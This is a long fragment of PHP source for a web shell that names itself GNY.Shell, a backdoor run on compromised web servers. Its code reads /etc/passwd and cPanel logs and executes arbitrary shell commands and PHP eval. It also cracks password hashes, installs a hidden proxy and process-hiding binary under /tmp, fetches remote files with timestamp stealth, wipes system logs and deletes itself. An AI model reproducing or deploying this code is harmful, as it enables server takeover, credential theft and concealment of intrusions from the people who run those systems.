    \"; $i = $nixpwd_s; while ($i < $nixpwd_e) { $uid = posix_getpwuid($i); if ($uid) { $uid[\"dir\"] = \"\".$uid[\"dir\"].\"\"; echo join(\":\",$uid).\"
    \"; } $i++; } } else {echo \"
    Get /etc/passwd
    \";} if (file_get_contents(\"/etc/userdomains\")) {echo \"View cpanel user-domains logs
    \";} if (file_get_contents(\"/var/cpanel/accounting.log\")) {echo \"View cpanel logs
    \";} if (file_get_contents(\"/usr/local/apache/conf/httpd.conf\")) {echo \"Apache configuration (httpd.conf)
    \";} if (file_get_contents(\"/etc/httpd.conf\")) {echo \"Apache configuration (httpd.conf)
    \";} if (file_get_contents(\"/etc/syslog.conf\")) {echo \"Syslog configuration (syslog.conf)
    \";} if (file_get_contents(\"/etc/motd\")) {echo \"Message Of The Day
    \";} if (file_get_contents(\"/etc/hosts\")) {echo \"Hosts
    \";} function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = \"\".$name.\" - \";} echo $name.nl2br($value).\"
    \";}} displaysecinfo(\"OS Version?\",myshellexec(\"cat /proc/version\")); displaysecinfo(\"Kernel version?\",myshellexec(\"sysctl -a | grep version\")); displaysecinfo(\"Distrib name\",myshellexec(\"cat /etc/issue.net\")); displaysecinfo(\"Distrib name (2)\",myshellexec(\"cat /etc/*-realise\")); displaysecinfo(\"CPU?\",myshellexec(\"cat /proc/cpuinfo\")); displaysecinfo(\"RAM\",myshellexec(\"free -m\")); displaysecinfo(\"HDD space\",myshellexec(\"df -h\")); displaysecinfo(\"List of Attributes\",myshellexec(\"lsattr -a\")); displaysecinfo(\"Mount options \",myshellexec(\"cat /etc/fstab\")); displaysecinfo(\"Is cURL installed?\",myshellexec(\"which curl\")); displaysecinfo(\"Is lynx installed?\",myshellexec(\"which lynx\")); displaysecinfo(\"Is links installed?\",myshellexec(\"which links\")); displaysecinfo(\"Is fetch installed?\",myshellexec(\"which fetch\")); displaysecinfo(\"Is GET installed?\",myshellexec(\"which GET\")); displaysecinfo(\"Is perl installed?\",myshellexec(\"which perl\")); displaysecinfo(\"Where is apache\",myshellexec(\"whereis apache\")); displaysecinfo(\"Where is perl?\",myshellexec(\"whereis perl\")); displaysecinfo(\"locate proftpd.conf\",myshellexec(\"locate proftpd.conf\")); displaysecinfo(\"locate httpd.conf\",myshellexec(\"locate httpd.conf\")); displaysecinfo(\"locate my.conf\",myshellexec(\"locate my.conf\")); displaysecinfo(\"locate psybnc.conf\",myshellexec(\"locate psybnc.conf\")); } else { exec(\'systeminfo\', $wininfo); ?>
    DOS command: systeminfo
    Make File \\\"\".htmlspecialchars($mkfile).\"\\\": object alredy exists\";} elseif (!fopen($mkfile,\'w\')) {echo \'Make File \"\'.htmlspecialchars($mkfile).\'\": access denied\';} else {$act = \'f\'; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} } else {$act = $dspact = \'ls\';} } if ($act == \'encoder\') { echo \"
    Encoder:
    Input:




    Hashes:
    \"; foreach(array(\"md5\",\"crypt\",\"sha1\",\"crc32\") as $v) { echo $v.\" -
    \"; } echo \"
    Url:

    urlencode -
    urldecode -
    Base64:
    base64_encode -
    \"; echo \"
    base64_decode - \"; if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo \"\";} else { $debase64 = base64_decode($encoder_input); $debase64 = str_replace(\"\\0\",\"[0]\",$debase64); $a = explode(\"\\r\\n\",$debase64); $rows = count($a); $debase64 = htmlspecialchars($debase64); if ($rows == 1) {echo \"\";} else {$rows++; echo \"\";} echo \" ^\"; } echo \"

    Base convertations:
    dec2hex -
    \"; ?>


    Search milw0rm for MD5 hash
    Search md5encryption.com for MD5 or SHA1 hash
    Search CsTeam for MD5 hash
    Search GData for MD5 hash

    Wordlist Hash Cracker

    \" method=GET> \"> Enter hash:
    Wordlist:
    Type:
    \'; if ($hash == $type(rtrim($word))) { echo \'Great success! The password is: \'.$word.\'
    \'; break; } ++$count; } } } if ($act == \'fsbuff\') { $arr_copy = $sess_data[\"copy\"]; $arr_cut = $sess_data[\"cut\"]; $arr = array_merge($arr_copy,$arr_cut); if (count($arr) == 0) {echo \"
    Buffer is empty!
    \";} else {echo \"File-System buffer

    \"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = \"ls\";} } if ($act == \'proxy\') { if ($_GET[\'ipisk\'] == \'yup\') { cf(\"/tmp/hantu.tgz\",$proxy_shit); ex(\"cd /tmp;tar -zxvf hantu.tgz\"); ex(\"cd /tmp;cd .setan;chmod 777 xh\"); ex(\"cd /tmp;cd .setan;chmod 777 httpd\"); ex(\"cd /tmp;cd .setan;./xh -s [kmod] ./httpd start\"); checkproxyhost(); $msg = $_POST[\'proxyhostmsg\']; echo(\"$msg\"); unlink(\"/tmp/hantu.tgz\"); ex(\"cd /tmp; rm -r .setan\"); }else echo \'
    Are you sure you want to install an IP:Port proxy on this website/server?
    Please note, some servers with firewalls or other security features may not be compatible with this, even if the proxy appears to be installed.

    Yes || No
    \'; } if ($act == \'fi\'){ ?> Install Local RFI/LFI Scanner
    method=GET> Path to install in: \"> (must have final /)
    fi.pl was created in \'.htmlentities($_GET[\'path\']).\'\'; chmod($_GET[\'path\'].\'/fi.pl\', 0777); echo \'
    To execute, browse to the directory you installed the scanner in and execute it from there using \\\'perl fi.pl\\\'\'; }else{ echo \'Directory is not writable!
    \'; } } } if ($act == \'phpproxy\'){ ?> Install PHP Based Proxy
    method=GET> Path to install in: \"> (must have final /)
    proxy.php was created in \'.htmlentities($_GET[\'path\']).\'\'; chmod($_GET[\'path\'].\'/proxy.php\', 0777); }else{ echo \'Directory is not writable!
    \'; } } } if ($act == \'selfremove\') { if ($_GET[\'bai\'] == \'k\'){ if (unlink(__FILE__)){ @ob_clean(); echo \'GNY.Shell has been deleted and is now gone.\'; GNYexit(); }else{ echo \"
    Cannot delete \".__FILE__.\"!
    \";} }else{ echo \'
    Are you sure you want to permanently remove \'.__FILE__.\'?
    Yes || No
    \'; } } if ($act == \'update\') {$ret = sh_getupdate(!!$confirmupdate); echo \"\".$ret.\"\"; if (stristr($ret,\"new version\")) {echo \"

    \";}} if ($act == \'search\') { echo \"Search in file-system:
    \"; if (empty($search_in)) {$search_in = $d;} if (empty($search_name)) {$search_name = \"(.*)\"; $search_name_regexp = 1;} if (empty($search_text_wwo)) {$search_text_regexp = 0;} if (!empty($submit)) { $found = array(); $found_d = 0; $found_f = 0; $search_i_f = 0; $search_i_d = 0; $a = array ( \"name\"=>$search_name, \"name_regexp\"=>$search_name_regexp, \"text\"=>$search_text, \"text_regexp\"=>$search_text_regxp, \"text_wwo\"=>$search_text_wwo, \"text_cs\"=>$search_text_cs, \"text_not\"=>$search_text_not ); $searchtime = getmicrotime(); $in = array_unique(explode(\";\",$search_in)); foreach($in as $v) {fsearch($v);} $searchtime = round(getmicrotime()-$searchtime,4); if (count($found) == 0) {echo \"No files found!\";} else { $ls_arr = $found; $disp_fullpath = TRUE; $act = \"ls\"; } } echo \"
    Search for (file/folder name):   - regexp
    Search in (explode \\\";\\\"):

    Text:


    - regexp    - whole words only    - case sensitive    - find files NOT containing the text

    \"; if ($act == \'ls\') {$dspact = $act; echo \"
    Search took \".$searchtime.\" secs (\".$search_i_f.\" files and \".$search_i_d.\" folders, \".round(($search_i_f+$search_i_d)/$searchtime,4).\" objects per second).

    \";} } if ($act == \'chmod\') { $mode = fileperms($d.$f); if (!$mode) {echo \"Change file-mode with error: can\'t get current value.\";} else { $form = TRUE; if ($chmod_submit) { $octet = \"0\".base_convert(($chmod_o[\"r\"]?1:0).($chmod_o[\"w\"]?1:0).($chmod_o[\"x\"]?1:0).($chmod_g[\"r\"]?1:0).($chmod_g[\"w\"]?1:0).($chmod_g[\"x\"]?1:0).($chmod_w[\"r\"]?1:0).($chmod_w[\"w\"]?1:0).($chmod_w[\"x\"]?1:0),2,8); if (chmod($d.$f,$octet)) {$act = \"ls\"; $form = FALSE; $err = \"\";} else {$err = \"Can\'t chmod to \".$octet.\".\";} } if ($form) { $perms = parse_perms($mode); echo \"Changing file-mode (\".$d.$f.\"), \".view_perms_color($d.$f).\" (\".substr(decoct(fileperms($d.$f)),-4,4).\")
    \".($err?\"Error: \".$err:\"\").\"
    Owner

     Read
     Write
    Execute
    Group

     Read
     Write
    Execute
    World

     Read
     Write
    Execute
    \"; } } } if ($act == \"upload\") { $uploadmess = \"\"; $uploadpath = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,$uploadpath); if (empty($uploadpath)) {$uploadpath = $d;} elseif (substr($uploadpath,-1) != \"/\") {$uploadpath .= \"/\";} if (!empty($submit)) { global $HTTP_POST_FILES; $uploadfile = $HTTP_POST_FILES[\"uploadfile\"]; if (!empty($uploadfile[\"tmp_name\"])) { if (empty($uploadfilename)) {$destin = $uploadfile[\"name\"];} else {$destin = $userfilename;} if (!move_uploaded_file($uploadfile[\"tmp_name\"],$uploadpath.$destin)) {$uploadmess .= \"Error uploading file \".$uploadfile[\"name\"].\" (can\'t copy \\\"\".$uploadfile[\"tmp_name\"].\"\\\" to \\\"\".$uploadpath.$destin.\"\\\"!
    \";} } elseif (!empty($uploadurl)) { if (!empty($uploadfilename)) {$destin = $uploadfilename;} else { $destin = explode(\"/\",$destin); $destin = $destin[count($destin)-1]; if (empty($destin)) { $i = 0; $b = \"\"; while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = \"_\".$i;} $destin = \"index\".$b.\".html\"; $i++;}} } if ((!eregi(\"http://\",$uploadurl)) and (!eregi(\"https://\",$uploadurl)) and (!eregi(\"ftp://\",$uploadurl))) {echo \"Incorect url!
    \";} else { $st = getmicrotime(); $content = @file_get_contents($uploadurl); $dt = round(getmicrotime()-$st,4); if (!$content) {$uploadmess .= \"Can\'t download file!
    \";} else { if ($filestealth) {$stat = stat($uploadpath.$destin);} $fp = fopen($uploadpath.$destin,\"w\"); if (!$fp) {$uploadmess .= \"Error writing to file \".htmlspecialchars($destin).\"!
    \";} else { fwrite($fp,$content,strlen($content)); fclose($fp); if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} } } } } } if ($miniform) { echo \"\".$uploadmess.\"\"; $act = \"ls\"; } else { echo \"File upload:
    \".$uploadmess.\"
    Select file on your local computer:
                   or
    Input URL:

    Save this file dir:

    File-name (auto-fill):

     convert file name to lovercase

    \"; } } if ($act == \'md5file\') { ?>
    MD5 Checksum:

    \'; echo \"
    \'.md5_file($v).\'\'.$v.\'

    \"; $act = \'ls\'; } if ($act == \'sha1file\') { ?>
    SHA1 Checksum:

    \'; echo \"
    \'.sha1_file($v).\'\'.$v.\'

    \"; $line = explode(\" \",$line); $line[10] = join(\" \",array_slice($line,10)); $line = array_slice($line,0,11); if ($line[0] == get_current_user()) {$line[0] = \"\".$line[0].\"\";} $line[] = \"KILL\"; $prcs[] = $line; echo \"\"; } } } else { while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);} while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);} while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);} while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);} while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);} while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);} while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);} while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);} while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);} while (ereg(\"\",$ret)) {$ret = str_replace(\"\",\"\",$ret);} while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);} $ret = convert_cyr_string($ret,\"d\",\"w\"); $stack = explode(\"\\n\",$ret); unset($stack[0],$stack[2]); $stack = array_values($stack); $head = explode(\"\",$stack[0]); $head[1] = explode(\" \",$head[1]); $head[1] = $head[1][0]; $stack = array_slice($stack,1); unset($head[2]); $head = array_values($head); if ($parsesort[1] != \"a\") {$y = \" [sort]\";} else {$y = \" [sort]\";} if ($k > count($head)) {$k = count($head)-1;} for($i=0;$i\".trim($head[$i]).\"\";} } $prcs = array(); foreach ($stack as $line) { if (!empty($line)) { echo \"\"; $line = explode(\"\",$line); $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); $line[2] = intval(str_replace(\" \",\"\",$line[2]))*1024; $prcs[] = $line; echo \"\"; } } } $head[$k] = \"\".$head[$k].\"\".$y; $v = $processes_sort[0]; usort($prcs,\"tabsort\"); if ($processes_sort[1] == \"d\") {$prcs = array_reverse($prcs);} $tab = array(); $tab[] = $head; $tab = array_merge($tab,$prcs); echo \"
    \"; $act = \'ls\'; } if ($act == \'delete\') { $delerr = \'\'; foreach ($actbox as $v) { $result = FALSE; $result = fs_rmobj($v); if (!$result) $delerr .= \'Can\\\'t delete \'.htmlspecialchars($v).\'
    \'; } if (!empty($delerr)) echo \'Deleting with errors:
    \'.$delerr; $act = \'ls\'; } if (!$usefsbuff) { if (($act == \"paste\") or ($act == \"copy\") or ($act == \"cut\") or ($act == \"unselect\")) {echo \"
    Sorry, buffer is disabled. For enable, set directive \\\"\\$useFSbuff\\\" as TRUE.
    \";} } else { if ($act == \"copy\") {$err = \"\"; $sess_data[\"copy\"] = array_merge($sess_data[\"copy\"],$actbox); sess_put($sess_data); $act = \"ls\"; } elseif ($act == \"cut\") {$sess_data[\"cut\"] = array_merge($sess_data[\"cut\"],$actbox); sess_put($sess_data); $act = \"ls\";} elseif ($act == \"unselect\") {foreach ($sess_data[\"copy\"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data[\"copy\"][$k]);}} foreach ($sess_data[\"cut\"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data[\"cut\"][$k]);}} sess_put($sess_data); $act = \"ls\";} if ($actemptybuff) {$sess_data[\"copy\"] = $sess_data[\"cut\"] = array(); sess_put($sess_data);} elseif ($actpastebuff) { $psterr = \"\"; foreach($sess_data[\"copy\"] as $k=>$v) { $to = $d.basename($v); if (!fs_copy_obj($v,$to)) {$psterr .= \"Can\'t copy \".$v.\" to \".$to.\"!
    \";} if ($copy_unset) {unset($sess_data[\"copy\"][$k]);} } foreach($sess_data[\"cut\"] as $k=>$v) { $to = $d.basename($v); if (!fs_move_obj($v,$to)) {$psterr .= \"Can\'t move \".$v.\" to \".$to.\"!
    \";} unset($sess_data[\"cut\"][$k]); } sess_put($sess_data); if (!empty($psterr)) {echo \"Pasting with errors:
    \".$psterr;} $act = \"ls\"; } elseif ($actarcbuff) { $arcerr = \"\"; if (substr($actarcbuff_path,-7,7) == \".tar.gz\") {$ext = \".tar.gz\";} else {$ext = \".tar.gz\";} if ($ext == \".tar.gz\") {$cmdline = \"tar cfzv\";} $cmdline .= \" \".$actarcbuff_path; $objects = array_merge($sess_data[\"copy\"],$sess_data[\"cut\"]); foreach($objects as $v) { $v = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,$v); if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} if (is_dir($v)) { if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} $v .= \"*\"; } $cmdline .= \" \".$v; } $tmp = realpath(\".\"); chdir($d); $ret = myshellexec($cmdline); chdir($tmp); if (empty($ret)) {$arcerr .= \"Can\'t call archivator (\".htmlspecialchars(str2mini($cmdline,60)).\")!
    \";} $ret = str_replace(\"\\r\\n\",\"\\n\",$ret); $ret = explode(\"\\n\",$ret); if ($copy_unset) {foreach($sess_data[\"copy\"] as $k=>$v) {unset($sess_data[\"copy\"][$k]);}} foreach($sess_data[\"cut\"] as $k=>$v) { if (in_array($v,$ret)) {fs_rmobj($v);} unset($sess_data[\"cut\"][$k]); } sess_put($sess_data); if (!empty($arcerr)) {echo \"Archivation errors:
    \".$arcerr;} $act = \"ls\"; } elseif ($actpastebuff) { $psterr = \"\"; foreach($sess_data[\"copy\"] as $k=>$v) { $to = $d.basename($v); if (!fs_copy_obj($v,$d)) {$psterr .= \"Can\'t copy \".$v.\" to \".$to.\"!
    \";} if ($copy_unset) {unset($sess_data[\"copy\"][$k]);} } foreach($sess_data[\"cut\"] as $k=>$v) { $to = $d.basename($v); if (!fs_move_obj($v,$d)) {$psterr .= \"Can\'t move \".$v.\" to \".$to.\"!
    \";} unset($sess_data[\"cut\"][$k]); } sess_put($sess_data); if (!empty($psterr)) {echo \"Pasting with errors:
    \".$psterr;} $act = \"ls\"; } } // the wipe logs stuff needs to be before cmd, because it will change the $act if the write is successful if ($act == \'zap2\') { // *nix cleaner if (is_writable(\'.\')) { cf($act, $$act); // \'tis pure innovation of optimization :) chmod($act, 0777); $cmd = \'./\'.$act; // keep this before $act = \'cmd\'; $act = \'cmd\'; $cmd_txt = \'1\'; }else{ echo \'Directory Is Not Writable!
    \'; } } if ($act == \'clearlogs\') { // windows cleaners if (is_writable(\'.\')) { cf($act.\'.exe\', $$act); chmod($act.\'.exe\', 0777); $cmd = $act.\'.exe\'; $act = \'cmd\'; $cmd_txt = \'1\'; }else{ echo \'Directory Is Not Writable!
    \'; } } if ($act == \'cmd\') { if (trim($cmd) == \"ps -aux\") $act = \'processes\'; else { @chdir($chdir); if (!empty($submit)) { echo \"Result of execution this command:
    \"; $olddir = realpath(\".\"); @chdir($d); $ret = myshellexec($cmd); $ret = convert_cyr_string($ret,\"d\",\"w\"); if ($cmd_txt) { $rows = count(explode(\"\\r\\n\",$ret))+1; if ($rows < 10) {$rows = 10;} echo \"
    \"; } else {echo $ret.\"
    \";} @chdir($olddir); } else {echo \"Execution command\"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} echo \"


     Display in text-area 
    \"; } } if ($act == \'ls\') { if (count($ls_arr) > 0) {$list = $ls_arr;} else { $list = array(); if ($h = @opendir($d)) { while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} closedir($h); } else {} } if (count($list) == 0) {echo \"
    Can\'t open folder (\".htmlspecialchars($d).\")!
    \";} else { //Building array $objects = array(); $vd = \"f\"; //Viewing mode if ($vd == \"f\") { $objects[\"head\"] = array(); $objects[\"folders\"] = array(); $objects[\"links\"] = array(); $objects[\"files\"] = array(); foreach ($list as $v) { $o = basename($v); $row = array(); if ($o == \".\") {$row[] = $d.$o; $row[] = \"LINK\";} elseif ($o == \"..\") {$row[] = $d.$o; $row[] = \"LINK\";} elseif (is_dir($v)) { if (is_link($v)) {$type = \"LINK\";} else {$type = \"DIR\";} $row[] = $v; $row[] = $type; } elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} $row[] = filemtime($v); if (!$win) { $ow = posix_getpwuid(fileowner($v)); $gr = posix_getgrgid(filegroup($v)); $row[] = ($ow[\"name\"]?$ow[\"name\"]:fileowner($v)).\"/\".($gr[\"name\"]?$gr[\"name\"]:filegroup($v)); } $row[] = fileperms($v); if (($o == \".\") or ($o == \"..\")) {$objects[\"head\"][] = $row;} elseif (is_link($v)) {$objects[\"links\"][] = $row;} elseif (is_dir($v)) {$objects[\"folders\"][] = $row;} elseif (is_file($v)) {$objects[\"files\"][] = $row;} $i++; } $row = array(); $row[] = \'Name\'; $row[] = \'Size\'; $row[] = \'Modify\'; if (!$win) $row[] = \'Owner/Group\'; $row[] = \'Perms\'; $row[] = \'Action\'; $parsesort = parsesort($sort); $sort = $parsesort[0].$parsesort[1]; $k = $parsesort[0]; if ($parsesort[1] != \"a\") {$parsesort[1] = \"d\";} $y = \"\"; $y .= ($parsesort[1] == \"a\"?\" [asc]\":\" [desc]\"); $row[$k] .= $y; for($i=0;$i\".$row[$i].\"\";} } $v = $parsesort[0]; usort($objects[\"folders\"], \"tabsort\"); usort($objects[\"links\"], \"tabsort\"); usort($objects[\"files\"], \"tabsort\"); if ($parsesort[1] == \"d\") { $objects[\"folders\"] = array_reverse($objects[\"folders\"]); $objects[\"files\"] = array_reverse($objects[\"files\"]); } $objects = array_merge($objects[\"head\"],$objects[\"folders\"],$objects[\"links\"],$objects[\"files\"]); $tab = array(); $tab[\"cols\"] = array($row); $tab[\"head\"] = array(); $tab[\"folders\"] = array(); $tab[\"links\"] = array(); $tab[\"files\"] = array(); $i = 0; foreach ($objects as $a) { $v = $a[0]; $o = basename($v); $dir = dirname($v); if ($disp_fullpath) {$disppath = $v;} else {$disppath = $o;} $disppath = str2mini($disppath,60); if (in_array($v,$sess_data[\"cut\"])) {$disppath = \"\".$disppath.\"\";} elseif (in_array($v,$sess_data[\"copy\"])) {$disppath = \"\".$disppath.\"\";} foreach ($regxp_highlight as $r) { if (ereg($r[0],$o)) { if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo \"Warning! Configuration error in \\$regxp_highlight[\".$k.\"][0] - unknown command.\"; GNYexit();} else { $r[1] = round($r[1]); $isdir = is_dir($v); if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) { if (empty($r[2])) {$r[2] = \"\"; $r[3] = \"\";} $disppath = $r[2].$disppath.$r[3]; if ($r[4]) {break;} } } } } $uo = urlencode($o); $ud = urlencode($dir); $uv = urlencode($v); $row = array(); if ($o == \".\") { $row[] = \"\".$o.\"\"; $row[] = \"LINK\"; } elseif ($o == \"..\") { $row[] = \"\".$o.\"\"; $row[] = \"LINK\"; } elseif (is_dir($v)) { if (is_link($v)) { $disppath .= \" => \".readlink($v); $type = \"LINK\"; $row[] = \"[\".$disppath.\"]\"; } else { $type = \"DIR\"; $row[] = \"[\".$disppath.\"]\"; } $row[] = $type; } elseif(is_file($v)) { $ext = explode(\".\",$o); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $row[] = \" \".$disppath.\"\"; $row[] = view_size($a[1]); } $row[] = date(\"d.m.Y H:i:s\",$a[2]); if (!$win) {$row[] = $a[3];} $row[] = \"\".view_perms_color($v).\"\"; if ($o == \".\") {$checkbox = \"\"; $i--;} else {$checkbox = \"\";} if (is_dir($v)) {$row[] = \"[info] \".$checkbox;} else {$row[] = \"[info] [change] [download] \".$checkbox;} if (($o == \".\") or ($o == \"..\")) {$tab[\"head\"][] = $row;} elseif (is_link($v)) {$tab[\"links\"][] = $row;} elseif (is_dir($v)) {$tab[\"folders\"][] = $row;} elseif (is_file($v)) {$tab[\"files\"][] = $row;} $i++; } } // Compiling table $table = array_merge($tab[\"cols\"],$tab[\"head\"],$tab[\"folders\"],$tab[\"links\"],$tab[\"files\"]); echo \"
    Listing folder (\".count($tab[\"files\"]).\" files and \".(count($tab[\"folders\"])+count($tab[\"links\"])).\" folders):

    \'; $countrows = 0; foreach($table as $row) { if ($countrows & 1) { echo \"\\r\\n\"; } else { echo \"\\r\\n\"; } ++$countrows; foreach($row as $v) {echo \"\\r\\n\";} echo \"\\r\\n\"; } echo \"
    \".$v.\"

       \"; if (count(array_merge($sess_data[\"copy\"],$sess_data[\"cut\"])) > 0 and ($usefsbuff)) { echo \"                   \"; } echo \"

    \'; } } if ($act == \'processes\') { echo \"Processes:
    \"; if (!$win) {$handler = \"ps -aux\".($grep?\" | grep \'\".addslashes($grep).\"\'\":\"\");} else {$handler = \"tasklist\";} $ret = myshellexec($handler); if (!$ret) {echo \"Can\'t execute \\\"\".$handler.\"\\\"!\";} else { if (empty($processes_sort)) {$processes_sort = $sort_default;} $parsesort = parsesort($processes_sort); if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} $k = $parsesort[0]; if ($parsesort[1] != \"a\") {$y = \" [sort]\";} else {$y = \" [sort]\";} $ret = htmlspecialchars($ret); if (!$win) { if ($pid) { if (is_null($sig)) {$sig = 9;} echo \"Sending signal \".$sig.\" to #\".$pid.\"... \"; if (posix_kill($pid,$sig)) {echo \"OK.\";} else {echo \"ERROR.\";} } while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\" \",$ret);} $stack = explode(\"\\n\",$ret); $head = explode(\" \",$stack[0]); unset($stack[0]); for($i=0;$i\".$head[$i].\"\";} } $prcs = array(); foreach ($stack as $line) { if (!empty($line)) { echo \"
    \"; foreach($tab as $i=>$k) { echo \"\"; foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo \"\";} echo \"\"; } echo \"
    \".$v.\"
    \"; } } if ($act == \"eval\") { if (!empty($eval)) { echo \"Result of execution this PHP-code:
    \"; $tmp = ob_get_contents(); $olddir = realpath(\".\"); @chdir($d); if ($tmp) { ob_clean(); eval($eval); $ret = ob_get_contents(); $ret = convert_cyr_string($ret,\"d\",\"w\"); ob_clean(); echo $tmp; if ($eval_txt) { $rows = count(explode(\"\\r\\n\",$ret))+1; if ($rows < 10) {$rows = 10;} echo \"
    \"; } else {echo $ret.\"
    \";} } else { if ($eval_txt) { echo \"
    \"; } else {echo $ret;} } @chdir($olddir); } else {echo \"Execute PHP-code\"; if (empty($eval_txt)) {$eval_txt = TRUE;}} echo \"


     Display in text-area 
    \"; } if ($act == \'f\') { if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != \"edit\") { if (file_exists($d.$f)) {echo \"
    Permision denied (\".htmlspecialchars($d.$f).\")!
    \";} else {echo \"
    File does not exists (\".htmlspecialchars($d.$f).\")!
    Create
    \";} } else { $r = @file_get_contents($d.$f); $ext = explode(\".\",$f); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $rft = \"\"; foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} if (eregi(\"sess_(.*)\",$f)) {$rft = \"phpsess\";} if (empty($ft)) {$ft = $rft;} $arr = array( array(\'[info]\',\'info\'), array(\'[rename]\',\'rename\'), array(\'[html]\',\'html\'), array(\'[txt]\',\'txt\'), array(\'[code]\',\'code\'), array(\'[session]\',\'phpsess\'), array(\'[exe]\',\'exe\'), array(\'[sdb]\',\'sdb\'), array(\'[img]\',\'img\'), array(\'[ini]\',\'ini\'), array(\'[download]\',\'download\'), array(\'[notepad]\',\'notepad\'), array(\'[edit]\',\'edit\') ); echo \"Viewing file:   \".$f.\" (\".view_size(filesize($d.$f)).\")      \".view_perms_color($d.$f).\"
    Select action/file-type:
    \"; foreach($arr as $t) { if ($t[1] == $rft) {echo \" \".$t[0].\"\";} elseif ($t[1] == $ft) {echo \" \".$t[0].\"\";} else {echo \" \".$t[0].\"\";} echo \" (+) |\"; } echo \"
    \"; if ($ft == \"info\") { echo \"Information:\"; if (!$win) { echo \"
    Path \".$d.$f.\"
    Size \".view_size(filesize($d.$f)).\"
    MD5 \".md5_file($d.$f).\"
    Owner/Group \"; $ow = posix_getpwuid(fileowner($d.$f)); $gr = posix_getgrgid(filegroup($d.$f)); echo ($ow[\"name\"]?$ow[\"name\"]:fileowner($d.$f)).\"/\".($gr[\"name\"]?$gr[\"name\"]:filegroup($d.$f)); } echo \"
    Perms\".view_perms_color($d.$f).\"
    Create time \".date(\"d/m/Y H:i:s\",filectime($d.$f)).\"
    Access time \".date(\"d/m/Y H:i:s\",fileatime($d.$f)).\"
    MODIFY time \".date(\"d/m/Y H:i:s\",filemtime($d.$f)).\"

    \"; $fi = fopen($d.$f,\"rb\"); if ($fi) { if ($fullhexdump) {echo \"FULL HEXDUMP\"; $str = fread($fi,filesize($d.$f));} else {echo \"HEXDUMP PREVIEW\"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} $n = 0; $a0 = \"00000000
    \"; $a1 = \"\"; $a2 = \"\"; for ($i=0; $i0\"; break; case 32: case 10: case 13: $a2 .= \" \"; break; default: $a2 .= htmlspecialchars($str[$i]); } $n++; if ($n == $hexdump_rows) { $n = 0; if ($i+1 < strlen($str)) {$a0 .= sprintf(\"%08X\",$i+1).\"
    \";} $a1 .= \"
    \"; $a2 .= \"
    \"; } } //if ($a1 != \"\") {$a0 .= sprintf(\"%08X\",$i).\"
    \";} echo \"
    \".$a0.\"\".$a1.\"\".$a2.\"

    \"; } $encoded = \"\"; if ($base64 == 1) { echo \"Base64 Encode
    \"; $encoded = base64_encode(file_get_contents($d.$f)); } elseif($base64 == 2) { echo \"Base64 Encode + Chunk
    \"; $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); } elseif($base64 == 3) { echo \"Base64 Encode + Chunk + Quotes
    \"; $encoded = base64_encode(file_get_contents($d.$f)); $encoded = substr(preg_replace(\"!.{1,76}!\",\"\'\\\\0\'.\\n\",$encoded),0,-2); } elseif($base64 == 4) { $text = file_get_contents($d.$f); $encoded = base64_decode($text); echo \"Base64 Decode\"; if (base64_encode($encoded) != $text) {echo \" (failed)\";} echo \"
    \"; } if (!empty($encoded)) { echo \"

    \"; } echo \"HEXDUMP: [Full] [Preview]
    Base64:
    [Encode [+chunk [+chunk+quotes [Decode

    \"; } elseif ($ft == \"html\") { if ($white) {@ob_clean();} echo $r; if ($white) {GNYexit();} } elseif ($ft == \"txt\") {echo \"

    \".htmlspecialchars($r).\"
    \";} elseif ($ft == \"ini\") {echo \"
    \"; var_dump(parse_ini_file($d.$f,TRUE)); echo \"
    \";} elseif ($ft == \"rename\") { echo \'
    New name:
    \'; if (isset($_GET[\'name\'])) { rename($d.$f, $d.$_GET[\'name\']); if (file_exists($d.$_GET[\'name\'])) { echo \'\'.$f.\' renamed \'.$_GET[\'name\'].\' successfully.\'; }else{ echo \'Error renaming file (incorrect permissions?)\'; } } } elseif ($ft == \"phpsess\") { echo \"
    \"; 
       $v = explode(\"|\",$r); 
       echo $v[0].\"
    \"; var_dump(unserialize($v[1])); echo \"
